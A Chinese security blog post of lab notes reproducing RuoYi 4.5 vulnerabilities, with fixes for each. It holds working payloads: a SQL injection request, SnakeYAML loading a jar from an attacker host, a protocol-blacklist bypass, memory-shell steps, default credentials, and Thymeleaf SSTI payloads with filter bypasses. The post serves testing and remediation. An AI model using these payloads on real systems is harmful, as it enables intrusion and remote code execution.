freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

演练学习笔记之ruoyi
2024-01-19 11:54:31

免责声明

本文仅用于参考和学习交流,对于使用本文所提供的信息所造成的任何直接或间接的后果和损失,使用者需自行承担责任。本文的作者以及本公众号团队对此不承担任何责任。请在使用本文内容时谨慎评估风险并做出独立判断。谢谢!

前言

由于演练中经常遇到ruoyi,所以特地搭建靶场来复现漏洞及修复 本篇内容包括靶场搭建 、漏洞利用(前台shiro漏洞、弱口令、命令执行、代码执行、SSTI、文件下载、SQL注入、文件读取漏洞及bypass)及漏洞修复方式。

正文

1.环境搭建

https://github.com/yangzongzhuan/RuoYi/releases?page=2

1705633248_65a9e5e0bf7108577a302.png!small?1705633248517

  • 因为存在漏洞的版本有限制,这里选择4.5版本下载,下好后先放在编辑器里修改数据库连接的配置

1705633269_65a9e5f5c65de5920646b.png!small?1705633269673

  • 再用maven打包

1705633282_65a9e6020f69864875175.png!small?1705633281765

  • 打包好的jar包在ruoyi-admin\target下

  • 再解决数据库的问题,分别是创建库和导入表(mysql我用的phpstudy)

# 创建数据库
create database ry
# 导入两个.sql文件(两个.sql文件都在若依目录下的sql文件夹内)

mysql -u root -p --default-character-set=utf8 ry < RuoYi-4.5.0\RuoYi-4.5.0\sql\quartz.sqlmysql -u root -p --default-character-set=utf8 ry < RuoYi-4.5.0\RuoYi-4.5.0\sql\ry_20201017.sql

这里有个坑:如果是windows环境搭建靶机,可能会有编码的问题,

所以导入命令加上了

`--default-character-set=utf8`

  • 最后把jar包放进靶机中跑起来就行了

1705633353_65a9e6496d56c7cfcd43b.png!small?1705633353676

1705633361_65a9e651de2953d1f87ee.png!small?1705633362133

2.漏洞复现

先看下组件版本

1705633385_65a9e6690c5ddaad450c0.png!small?1705633385196

2.1、前台shiro反序列化漏洞

漏洞验证:

注意:在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM

1705633409_65a9e68125573c7a769de.png!small?1705633408881

利用工具:https://github.com/Ares-X/shiro-exploit.git

漏洞修复:

正确的密钥生成和使用方式已经在原密钥旁边写明了,需要用此方式生成的新密钥替换默认密钥才能修复好。

1705633424_65a9e690224719e62eab0.png!small?1705633423995

2.2 后台默认口令

漏洞验证:

admin/admin123是默认密码,可以登录后台

还有一个ry/admin123也可以登录后台

1705633456_65a9e6b0575e62e763f1e.png!small?1705633456206

修复方式:后台头像处有修改密码功能。

1705633465_65a9e6b9995c50f1739cd.png!small?1705633465286

2.3 文件读取

漏洞验证:

在目录D:/ruoyi/创建一个1.txt文件,然后GET请求

/common/download/resource?resource=/profile/../1.txt

1705633498_65a9e6dac6666d7dc24d9.png!small?1705633498678

注意:

http://IP/common/download/resource?resource=/profile/../1.txt# 对应的目录为"D:/ruoyi/uploadPath"+"/../1.txt"uploadPath目录可以不存在

漏洞修复:

升级RuoYi版本到最新;添加文件下载验证。

2.4 SQL注入

漏洞验证:

进入后台后,拦截角色管理页面的请求包

  • 角色编辑接口

  • com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由

POST /system/role/list HTTP/1.1Host: 127.0.0.1Content-Length: 179sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"Accept: application/json, text/javascript, /; q=0.01Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/system/roleAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closepageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

1705633572_65a9e72453fb1845c51ad.png!small?1705633572093

漏洞修复:

升级若依到最新版本

注意类似"${"这种字符串的拼接

2.5 后台命令执行

漏洞验证:

RuoYi<4.6.2

在这个位置可以添加定时任务,ry用户也可以

1705633603_65a9e743206654a1f8b24.png!small?1705633602972

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://攻击机ip/yaml-payload.jar"]]]]')

但是这里并不能直接执行,需要若依服务器调用外部的一个jar包,这时需要一个能被请求到的ip,并打包一个jar包

1705633622_65a9e756e9208883c2ca0.png!small?1705633622696


# 下载源文件https://github.com/artsploit/yaml-payload# 修改要执行的命令 # 编译java文件javac src/artsploit/AwesomeScriptEngineFactory.java  javac src\artsploit\AwesomeScriptEngineFactory.java  # 打包成jar包 jar -cvf yaml-payload.jar -C src/ . # 放在服务器,启动一个http服务,这里为了省事用的pythonpython3 -m http.server 端口号python2 -m SimpleHTTPServer 端口号     

1705633649_65a9e771e6a5344fe99bc.png!small?1705633649641

1705633655_65a9e777b42e5aaf6e08d.png!small?1705633655659

命令执行有时候会有延迟,不要心急点太多,并且测试完了记得关掉计划任务,否则就会变成纸牌了...

1705633666_65a9e7825dec4ac261d41.png!small?1705633666876

bypass

版本4.6.2<=Ruoyi<4.7.2存在黑名单,禁止调用ldap,http,https,rmi等协议,可以利用符号方式绕过,也可以添加多个引号,个数奇偶都可以

[!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p'://127.0.0.1:88/yaml-payload.jar"]]]]')

内存马

# 下载https://github.com/lz2y/yaml-payload-for-ruoyi# 打包mvn clean package# 计划任务处改成打包后的jar包名,内存马的使用说明里有

1705633697_65a9e7a1e11db49ac3e3d.png!small?1705633698311

漏洞修复:

增加调用白名单、升级到最新版若依。

2.6 SSTI

漏洞验证:

<= thymeleaf-spring5:3.0.12

登陆后访问/demo/form/localrefresh页面,点击刷新抓包,修改fragment参数的值为payload

1705633723_65a9e7bba26f00c82bf53.png!small?1705633723459

1705633729_65a9e7c190ce4496185e3.png!small?1705633729366

# payload

${T(java.lang.Runtime).getRuntime().exec("calc")}

Bypass

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x1;/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x1__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x1__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x/    1__${T %20( %0aRuntime %09). %0dgetRuntime %0a( %09) %0d. %00exec('calc')} __::.x

漏洞修复:

升级thymeleaf组件版本;限制相关接口的访问。

参考文章

https://xz.aliyun.com/t/11928

https://www.cnblogs.com/wavewindsor/p/17880329.html

https://www.cnpanda.net/sec/1063.html

https://cn-sec.com/archives/769549.html

https://mp.weixin.qq.com/s/dwd_Vy-pd4SZ1To-iXdFxw


# 漏洞 # 渗透测试 # web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录